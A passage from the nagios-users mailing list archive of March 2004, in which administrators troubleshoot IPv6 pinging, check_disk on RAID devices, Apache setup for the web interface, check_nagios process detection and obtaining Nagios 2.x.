AM, prabhu.anandh at wipro.com shared with us: > option. And moreover,I am not doing this for learning.I have some ipv6 > only machines and I am not able to ping using the ping command,so I > have to use ping6 for that.i am testing whether it works > for ping or not and I need your help in solving this problem. > I am putting this problem in mailing list ,since I feel this will be a > important subject. Thanks in advance. Subhendu has already stated that the check_ping in plugins 1.4.x (CVS I presume) supports IPV6 hosts. Instead of going through all the machinations of writing your own plugin in a language you seem to not fully understand, why don't you just grab that and use it instead? Why re-invent the wheel if it's not a learning experience and you don't have to? -- Marc ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Wed Mar 3 04:07:16 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Tue, 2 Mar 2004 22:07:16 -0500 Subject: how to ping instead of check_ping. In-Reply-To: <07BBBE93ECD30547BC93005AF54E2557EE9DF5@blr-sjp-msg.wipro.com> References: <07BBBE93ECD30547BC93005AF54E2557EE9DF5@blr-sjp-msg.wipro.com> Message-ID: <20040302220716.1bd9056f.karl@debisschop.net> On Tue, 2 Mar 2004 18:28:34 +0530 prabhu.anandh at wipro.com wrote: > Hi fredrik, > The option -w 2 I gave has got a reason.if I give a wrong address or > if the host is down,it wont exit the shell script.and that must not be > the case.so I gave that option to exit from the ping mode .i think you > understand my answer.you try pinging some invalid address with and > without -w option.it will give you the reason ,why I am giving -w > option. And moreover,I am not doing this for learning.I have some ipv6 > only machines and I am not able to ping using the ping command,so I > have to use ping6 for that.i am testing whether it works for ping or > not and I need your help in solving this problem. I am putting this > problem in mailing list ,since I feel this will be a important > subject. Thanks in advance. 1.4.0alpha1 supports ping6 - and you would help development by testing the code. -- Karl ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Wed Mar 3 04:21:02 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Tue, 2 Mar 2004 22:21:02 -0500 Subject: Host DOWN In-Reply-To: <20040303012413.2645.qmail@minnow.softflare.net> References: <8258814A187BCF49BDEE435A5433B18BD8F29C@exchange.drumbeatdigital.com> <1078266923.4354.10.camel@pel> <20040303012413.2645.qmail@minnow.softflare.net> Message-ID: <20040302222102.28744d5e.karl@debisschop.net> On Wed, 03 Mar 2004 01:24:12 +0000 "Paul L. Allen" wrote: > Jag writes: > > > I've found that when it says 'Info: (No output!)', the plugin is > > usually outputing something to stderr, and nagios isn't paying > > attention to that. Does anyone know why nagios ignores stderr? > > stderr is a very useful debugging tool. > > I'm in no position to influence these things, but I'd agree with you > there. There was a thread here recently of problems with output on > STDERR confusing the check_by_ssl plugin (I think it was that one - > it's late here and I have the memory of a goldfish, not only that I > have the memory of a goldfish). However, it's not Nagios that ignores > STDERR but the particular plugin you're using. If that is so, it's a bug. Please report it. When I wrote spopen, one of my primary concerns is that it had to be easy to trap stderr. And as far as I know, all the plugins do trap stderr if the invoke a system command. The problem with stderr and check_by_ssh was that the banner screen for ssh seems to be run on stderr, even though it is not an error. But the plugin, since it did trap stderr reported the first line back to noagios (and probably signaled a warning) > I would say, from my position of the guy that doesn't have to do > anything about it, that the plugin guidelines should say that plugins > should collect output to STDERR and if there is anything they should > return the unknown state unless that particular test should generate > known output (that can be checked) on STDERR. Basically, if you have > output on STDERR then it's "Houston, we have a problem" unless you > were expecting that particular output on STDERR as a result of your > tests. They do trap stderr, and they return a warning (except in the case of a banner in an ssh check now). Been that way for many years. -- Karl ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Wed Mar 3 04:23:30 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Tue, 2 Mar 2004 22:23:30 -0500 Subject: Updating In-Reply-To: <40450AEE.6030704@siue.edu> References: <40450AEE.6030704@siue.edu> Message-ID: <20040302222330.7e84c250.karl@debisschop.net> On Tue, 02 Mar 2004 16:30:06 -0600 Bill Corcoran wrote: > i have successfully upgraded from 1.1 to 1.2 merely by "make install", > > overwriting the nagios program. the config and plugins, not part of a > > make install, were untouched. of course, you'd be a fool not to > backup before trying this yourself. all config & plugins worked fine > after the upgrade. i was a little upset that 1.2 was released not 24 > hrs after i had installed 1.1 =) but the upgrade was easy. rpms also respect your old configs. -- Karl ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From karl at debisschop.net Wed Mar 3 04:27:41 2004 From: karl at debisschop.net (Karl DeBisschop) Date: Tue, 2 Mar 2004 22:27:41 -0500 Subject: how to ping instead of check_ping.v6 not found. In-Reply-To: <07BBBE93ECD30547BC93005AF54E2557EE9E97@blr-sjp-msg.wipro.com> References: <07BBBE93ECD30547BC93005AF54E2557EE9E97@blr-sjp-msg.wipro.com> Message-ID: <20040302222741.77eda561.karl@debisschop.net> On Wed, 3 Mar 2004 08:23:54 +0530 prabhu.anandh at wipro.com wrote: > Hi Marc, > I appreciate what you have said and when I checked the options using > -h,I found out that it doesn't support v6.any ideas. > Do I have to install latest version of plugins? > Thanks in advance. > This is what I get: > ]# /usr/local/nagios/libexec/check_ping -h > check_ping (nagios-plugins 1.3.1) 1.11 1.4.0alpha1 There is an alpha release or you can get the current code from CVS. -- Karl ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From lshobbrook at fasttrack.net.au Wed Mar 3 07:37:11 2004 From: lshobbrook at fasttrack.net.au (Lewis Shobbrook) Date: Wed, 3 Mar 2004 17:37:11 +1100 Subject: check_disk fails for dev/md0 Message-ID: <0C8098CA7F09CE419F0C2B68EB8358761EB7BF@exchange.fasttrack.net.au> Hi All, Anyone had any success with check_disk for raid devices. Specifying /dev/md0 instead of /dev/hda1 in command check_local_disk!20%!10%!/dev/md0 fails, with unable to read output. Cheers, Lewis Shobbrook ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From bdunn at rdac.com.au Wed Mar 3 07:47:14 2004 From: bdunn at rdac.com.au (Brad Dunn) Date: Wed, 3 Mar 2004 14:47:14 +0800 Subject: status map package locations Message-ID: <47287D7F1C9A1C4B99EB7D407FCEE6960166D3@rdaex01.rdac.com.au> Hey, I was just wondering, I've been using nagios for a long time and put a couple of boxes together without to much grief. One thing I notice on this list is every week or so people seem to always have problems compiling nagios and getting the status map to work. Most people I have spoken with is mainly a concern with not being able to find / or install the files required, eg libgd libgd-devel libpng libpng-devel libjpeg libjpeg-devel zlib zlib-devel and of course as the FAQ suggests, when installing it. make devclean ./configure --with-gd-lib=LIBDIR --with-gd-inc=INCDIR My question is, has anyone actually put a list up, maybe even on the FAQ's about where to obtain these packages. I know it differs from place to place, some people require RPM's, and I myself am using debian, so I would ideally like to be apt-get these packages. Anyway I was just wondering if anyone had such a list? I am also aware that people will be using different versions of these packages. I just thought it might be useful to have a list of where to obtain these so people can get the status maps working etc. - brad ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Michael.Huettig at Medien-Systempartner.de Wed Mar 3 09:45:45 2004 From: Michael.Huettig at Medien-Systempartner.de (Michael Huettig) Date: Wed, 3 Mar 2004 09:45:45 +0100 Subject: check_disk fails for dev/md0 In-Reply-To: <0C8098CA7F09CE419F0C2B68EB8358761EB7BF@exchange.fasttrack.net.au> References: <0C8098CA7F09CE419F0C2B68EB8358761EB7BF@exchange.fasttrack.net.au> Message-ID: <200403030945.45875.Michael.Huettig@Medien-Systempartner.de> Hi, i'm checking /dev/md0 on a remote host with netsaint_statd V3.20 (perl-script) for nearly one year with no problems. What's your output when you call check_disk from terminal? Regards Michael Am Mittwoch, 3. M?rz 2004 07:37 schrieb Lewis Shobbrook: > Hi All, > > Anyone had any success with check_disk for raid devices. Specifying > /dev/md0 instead of /dev/hda1 in command > check_local_disk!20%!10%!/dev/md0 fails, with unable to read output. > > Cheers, > > Lewis Shobbrook > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id56&alloc_id438&op=Click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and OS when > ::: reporting any issue. Messages without supporting info will risk being > ::: sent to /dev/null ********************************************************************** Diese E-Mail wurde auf Viren ueberprueft. www.mimesweeper.com ********************************************************************** ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Wed Mar 3 12:00:11 2004 From: pla at softflare.com (Paul L. Allen) Date: Wed, 03 Mar 2004 11:00:11 +0000 Subject: check_disk fails for dev/md0 In-Reply-To: <0C8098CA7F09CE419F0C2B68EB8358761EB7BF@exchange.fasttrack.net.au> References: <0C8098CA7F09CE419F0C2B68EB8358761EB7BF@exchange.fasttrack.net.au> Message-ID: <20040303110011.31578.qmail@minnow.softflare.net> Lewis Shobbrook writes: > Anyone had any success with check_disk for raid devices. Specifying > /dev/md0 instead of /dev/hda1 in command > check_local_disk!20%!10%!/dev/md0 fails, with unable to read output. Works for me. Have you changed the definition of check_local_disk? I have check_disk - w $ARG1$ -c $ARG2$ -p $ARG3$. -- Paul Allen Softflare Support ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From extern.Lars.Oeschey at AUDI.DE Wed Mar 3 12:45:43 2004 From: extern.Lars.Oeschey at AUDI.DE (extern.Lars.Oeschey at AUDI.DE) Date: Wed, 3 Mar 2004 12:45:43 +0100 Subject: NagMIN Release 2.1.0 Message-ID: <3A51ADC7DE201748AE224D58A8CA83B502257057@deaudiis1127.audi.de> > There is a new release of NagMIN on SourceForge that contains > all of the current code. I installed it now. While installation went *far* better than with the previous release, I have the problem thta on the first nagmin webpage, there are no services/hosts etc. listed. I#t just empty. Anyone has an idea where to check that? Lars ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From man_pio at hotmail.com Wed Mar 3 12:54:16 2004 From: man_pio at hotmail.com (pious oshinuga) Date: Wed, 03 Mar 2004 11:54:16 +0000 Subject: Problem with Web Interface Message-ID: I have edited the /etc/httpd/httpd.conf with the followoing ScriptAlias /nagios/cgi-bin/ /usr/local/nagios/sbin/ AllowOverride AuthConfig Options ExecCGI Order allow,deny Allow from all and Alias /nagios/ usr/local/nagios/share/ Options None AllowOverride AuthConfig Order allow,deny Allow from all in the above order but got the error message below: Object not found! The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. If you think this is a server error, please contact the webmaster Error 404 192.168.2.119 Wed 03 Mar 2004 01:23:29 PM WAT Apache/2.0.40 (Red Hat Linux) what am i doing wrong? I might be a slow walker but I never walk backwards - Abraham Lincoln _________________________________________________________________ Tired of spam? Get advanced junk mail protection with MSN 8. http://join.msn.com/?page=features/junkmail ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From julia.mcwhirter at superh.com Wed Mar 3 13:14:42 2004 From: julia.mcwhirter at superh.com (McWhirter,Julia) Date: Wed, 3 Mar 2004 12:14:42 -0000 Subject: Nagios 2.x in prod Message-ID: <9FF3133289A7A84E81E2ED8F5E56B379D0C8CD@sh-uk-ex01.uk.w2k.superh.com> Can I download Nagios 2.x ? Regards Julia McWhirter IT Manager SuperH (UK) Ltd First Floor Network House 2410 Aztec West Almondbury Bristol BS32 4QX Tel : 01454 465600 Tel (Direct) : 01454 465661 Tel (Mobile) : 07979 913494 Fax : 01454 465601 Email : julia.mcwhirter at superh.com www : www.superh.com -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of jeff vier Sent: Tuesday, March 02, 2004 3:54 PM To: Samba Cc: nagios-users Subject: Re: [Nagios-users] Nagios 2.x in prod On Tue, 2004-03-02 at 06:57, Samba wrote: > Is anyone using Nagios 2.x in a production environment ? As I read the web > site I get the impression it's ready to be deployed, but without > documentation. Right ? We do. 274 hosts / 1320 services and it's working quite well (considerably better than 1.x-cvs) ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From julia.mcwhirter at superh.com Wed Mar 3 13:25:51 2004 From: julia.mcwhirter at superh.com (McWhirter,Julia) Date: Wed, 3 Mar 2004 12:25:51 -0000 Subject: Nagios 2.x in prod Message-ID: <9FF3133289A7A84E81E2ED8F5E56B379D0C8CE@sh-uk-ex01.uk.w2k.superh.com> I found it, from the CVS repository. Regards Julia McWhirter IT Manager SuperH (UK) Ltd First Floor Network House 2410 Aztec West Almondbury Bristol BS32 4QX Tel : 01454 465600 Tel (Direct) : 01454 465661 Tel (Mobile) : 07979 913494 Fax : 01454 465601 Email : julia.mcwhirter at superh.com www : www.superh.com -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of McWhirter,Julia Sent: Wednesday, March 03, 2004 12:15 PM To: jeff vier; Samba Cc: nagios-users Subject: RE: [Nagios-users] Nagios 2.x in prod Can I download Nagios 2.x ? Regards Julia McWhirter IT Manager SuperH (UK) Ltd First Floor Network House 2410 Aztec West Almondbury Bristol BS32 4QX Tel : 01454 465600 Tel (Direct) : 01454 465661 Tel (Mobile) : 07979 913494 Fax : 01454 465601 Email : julia.mcwhirter at superh.com www : www.superh.com -----Original Message----- From: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf Of jeff vier Sent: Tuesday, March 02, 2004 3:54 PM To: Samba Cc: nagios-users Subject: Re: [Nagios-users] Nagios 2.x in prod On Tue, 2004-03-02 at 06:57, Samba wrote: > Is anyone using Nagios 2.x in a production environment ? As I read the web > site I get the impression it's ready to be deployed, but without > documentation. Right ? We do. 274 hosts / 1320 services and it's working quite well (considerably better than 1.x-cvs) ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=ick _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From julia.mcwhirter at superh.com Wed Mar 3 13:31:01 2004 From: julia.mcwhirter at superh.com (McWhirter,Julia) Date: Wed, 3 Mar 2004 12:31:01 -0000 Subject: It appears as though Nagios is not running, so commands are temporarily unavailable... Message-ID: <9FF3133289A7A84E81E2ED8F5E56B379644B45@sh-uk-ex01.uk.w2k.superh.com> I am running Nagios 1.2 and the web reports that nagios is not running although it is. nagios 11305 1 0 12:44:44 ? 0:00 /usr/local/nagios/1.2/bin/nagios -d /usr/local/nagios/1.2/etc/nagios.cfg Running on Solaris 8. Cgi.cfg has the following nagios_check_command=/usr/local/nagios/1.2/libexec/check_nagios /usr/local/nagios/1.2/var/status.log 5 '/usr/local/nagios/1.2/bin/nagios' Any ideas why it does not know that nagios is running? Regards Julia McWhirter IT Manager SuperH (UK) Ltd First Floor Network House 2410 Aztec West Almondbury Bristol BS32 4QX Tel : 01454 465600 Tel (Direct) : 01454 465661 Tel (Mobile) : 07979 913494 Fax : 01454 465601 Email : julia.mcwhirter at superh.com www : www.superh.com ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id56&alloc_id438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From ejl at man.fwltech.com Wed Mar 3 13:35:30 2004 From: ejl at man.fwltech.com (Ewan Leith) Date: Wed, 3 Mar 2004 12:35:30 -0000 Subject: Nagios 2.x in prod Message-ID: <1012BD903945D411915500105A48FF57024FDF12@nt.man.fwltech.com> http://nagios.sourceforge.net/download/cvs/nagios-cvs.tar.gz Is the current pre-release of nagios 2.0, it's not finished yet though. Ewan > -----Original Message----- > From: McWhirter,Julia [mailto:julia.mcwhirter at superh.com] > Sent: 03 March 2004 12:15 > To: jeff vier; Samba > Cc: nagios-users > Subject: RE: [Nagios-users] Nagios 2.x in prod > > > Can I download Nagios 2.x ? > > Regards > Julia McWhirter > IT Manager > > SuperH (UK) Ltd > First Floor > Network House > 2410 Aztec West > Almondbury > Bristol > BS32 4QX > > Tel : 01454 465600 > Tel (Direct) : 01454 465661 > Tel (Mobile) : 07979 913494 > Fax : 01454 465601 > Email : julia.mcwhirter at superh.com > www : www.superh.com > > > -----Original Message----- > From: nagios-users-admin at lists.sourceforge.net > [mailto:nagios-users-admin at lists.sourceforge.net] On Behalf > Of jeff vier > Sent: Tuesday, March 02, 2004 3:54 PM > To: Samba > Cc: nagios-users > Subject: Re: [Nagios-users] Nagios 2.x in prod > > On Tue, 2004-03-02 at 06:57, Samba wrote: > > Is anyone using Nagios 2.x in a production environment ? As I read > the web > > site I get the impression it's ready to be deployed, but without > > documentation. Right ? > > We do. 274 hosts / 1320 services and it's working quite well > (considerably better than 1.x-cvs) > > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id56&alloc_id438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS > when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null > ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From manjunathk at yahoo.com Wed Mar 3 13:42:21 2004 From: manjunathk at yahoo.com (=?iso-8859-1?q?Manjunath=20K.=20Murthy?=) Date: Wed, 3 Mar 2004 12:42:21 +0000 (GMT) Subject: Problem with Web Interface In-Reply-To: References: Message-ID: <20040303124221.52948.qmail@web40705.mail.yahoo.com> What is the url you are trying to access? Normally it will be: http:///nagios/ --- pious oshinuga wrote: > > I have edited the /etc/httpd/httpd.conf with the > followoing > ScriptAlias /nagios/cgi-bin/ /usr/local/nagios/sbin/ > > AllowOverride AuthConfig > Options ExecCGI > Order allow,deny > Allow from all > > and > > Alias /nagios/ usr/local/nagios/share/ > > Options None > AllowOverride AuthConfig > Order allow,deny > Allow from all > > in the above order but got the error message below: > > > Object not found! > The requested URL was not found on this server. If > you entered the URL > manually please check your spelling and try again. > > If you think this is a server error, please contact > the webmaster > > Error 404 > 192.168.2.119 > Wed 03 Mar 2004 01:23:29 PM WAT > Apache/2.0.40 (Red Hat Linux) > > what am i doing wrong? > > I might be a slow walker but I never walk backwards > - Abraham Lincoln > > _________________________________________________________________ > Tired of spam? Get advanced junk mail protection > with MSN 8. > http://join.msn.com/?page=features/junkmail > > > > ------------------------------------------------------- > SF.Net is sponsored by: Speed Start Your Linux Apps > Now. > Build and deploy apps & Web services for Linux with > a free DVD software kit from IBM. Click Now! > http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version > (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being > sent to /dev/null ===== Manjunath K. Murthy +91 98453 48874 ________________________________________________________________________ Yahoo! India Insurance Special: Be informed on the best policies, services, tools and more. Go to: http://in.insurance.yahoo.com/licspecial/index.html ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jbautista at intercable.net.ve Wed Mar 3 13:51:20 2004 From: jbautista at intercable.net.ve (Jeyri bautista) Date: Wed, 3 Mar 2004 08:51:20 -0400 Subject: =?iso-8859-1?Q?/usr/bin/printf:_\_:_secuencia_de_escape_inv=C3=A1lida?= Message-ID: <00a701c4011e$39e71a30$2605020a@bjeyri> Later I installed a nagios plugin (I think that, but I?m not sure), I see the folloeing error, but I don?t know how to solve that. /usr/bin/printf: \ : secuencia de escape inv??lida Thanks Jeyri -------------- next part -------------- An HTML attachment was scrubbed... URL: From AHKAPLAN at PARTNERS.ORG Wed Mar 3 14:38:48 2004 From: AHKAPLAN at PARTNERS.ORG (Kaplan, Andrew H.) Date: Wed, 3 Mar 2004 08:38:48 -0500 Subject: REPOST: Error Message: Warning: Nagios process may not be running Message-ID: <5593DA408212D511B0910002A513501F06559225@phsexch20.mgh.harvard.edu> Sorry I am being a nuisance about this... I installed Nagios 1.2 onto a system and am in the process of testing it out. One problem that I noticed is my being unable to manually run commands, ie: Schedule an immediate check of all services on this host, on any host machine. I am using the text-based configuration files located in the etc directory. I checked the cgi.cfg file and made sure the nagios_check_command directive was not commented out. I also checked the nagios.cfg file and the external_command lines were also uncommented. The check_nagios plug-in is in the libexec directory and it does have the proper permissions associated with it. I ran the check_nagios command as the nobody user and even though Nagios was up and running, it still complained it could not find a running process. I ran the ps -ef |grep nagios command, and I have a decent amount of processes that have the [nagios] program associated with them. What else isthere for me to do? ------------------------------------------------------- SF.Net is sponsored by: Speed Start Your Linux Apps Now. Build and deploy apps & Web services for Linux with a free DVD software kit from IBM. Click Now! http://ads.osdn.com/?ad_id=1356&alloc_id=3438&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From dmitryc at drumbeatdigital.com Wed Mar 3 15:14:29 2004 From: dmitryc at drumbeatdigital.com (Dmitry Chorine) Date: Wed, 3 Mar 2004 09:14:29 -0500 Subject: Problem with Web Interface Message-ID: <8258814A187BCF49BDEE435A5433B18BD8F2A1@exchange.drumbeatdigital.com> Make sure to put / after your nagios in url, otherwise it wont work -----Original Message----- From: pious oshinuga [mailto:man_pio at hotmail.com] Sent: Wednesday, March 03, 2004 6:54 AM To: nagios-users at lists.sourceforge.net Subject: [Nagios-users] Problem with Web Interface I have edited the /etc/httpd/httpd.conf with the followoing ScriptAlias /nagios/cgi-bin/ /usr/local/nagios/sbin/ AllowOverride AuthConfig Options ExecCGI Order allow,deny Allow from all and Alias /nagios/ usr/local/nagios/share/ Options None AllowOverride AuthConfig Order allow,deny Allow from all in the above order but got the error message below: Object not found! The requested URL was not found on this server. If you entered the URL manually please check your spelling and try again. If you think this is a server error, please contact the webmaster Error 404 192.168.2.119 Wed 03 Mar 2004 01:23:29 PM WAT Apache/2.0.40 (Red Hat Linux) what am i doing wrong? I might be a 